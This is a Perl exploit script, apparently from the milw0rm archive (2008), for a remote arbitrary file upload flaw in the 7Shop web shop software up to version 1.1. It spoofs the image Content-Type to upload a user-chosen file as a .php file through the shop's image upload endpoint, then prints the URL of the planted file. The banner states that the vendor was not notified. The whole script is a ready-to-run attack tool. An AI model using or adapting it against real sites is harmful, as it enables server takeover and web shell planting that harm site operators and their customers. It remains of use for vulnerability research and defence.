#!/usr/bin/perl

use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;

my $fname = rand(1000) . ".php"; # int.. yes i know PU!

print <<INTRO;
+++++++++++++++++++++++++++++++++++++++++++++++++++++
+     7Shop <= 1.1 Remote Arbitrary File Upload     +
+             [Content-Type] -> Spoofing            +
+         Discovered && Coded By: t0pP8uZz          +
+                                                   +
+        Contact IRC: irc.rizon.net #sectalk        +
+ Vendor not notified! Later versions maybe vuln!   +
+                                                   +
+   Discovered On: 25 October 2008 / milw0rm.com    +
+                                                   +
+          Script Download: http://7shop.de         +
+++++++++++++++++++++++++++++++++++++++++++++++++++++
INTRO

print "\nEnter URL(ie: http://site.com/shop): ";
    chomp(my $url=<STDIN>);
    
print "\nEnter File Path(path to local file to upload): ";
    chomp(my $file=<STDIN>);

my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url.'/includes/imageupload.php',
                      Content_Type => 'form-data',
                      Content      => [ img1 => [ $file, $fname, Content_Type => 'image/jpeg' ], ] );

die "HTTP POST Failed!" unless $re->is_success;

if($re->content =~ /File is valid/) {
    
    print "File successfully uploaded! Access your file here: " . $url . "/images/artikel/" . $fname . "\n"; # say()? nah you havent got perl510 yet. have you!
}
elsif($re->content =~ /The requested URL/) { # apache debug only
    
    print "File Upload Failed! The requested target was not running a vulnerable version of 7shop!\n";
}
else {
    
    print "File Upload Failed! target vulnerable, but upload failed.. try changing filename.\n";
}
exit;

# milw0rm.com [2008-10-29]
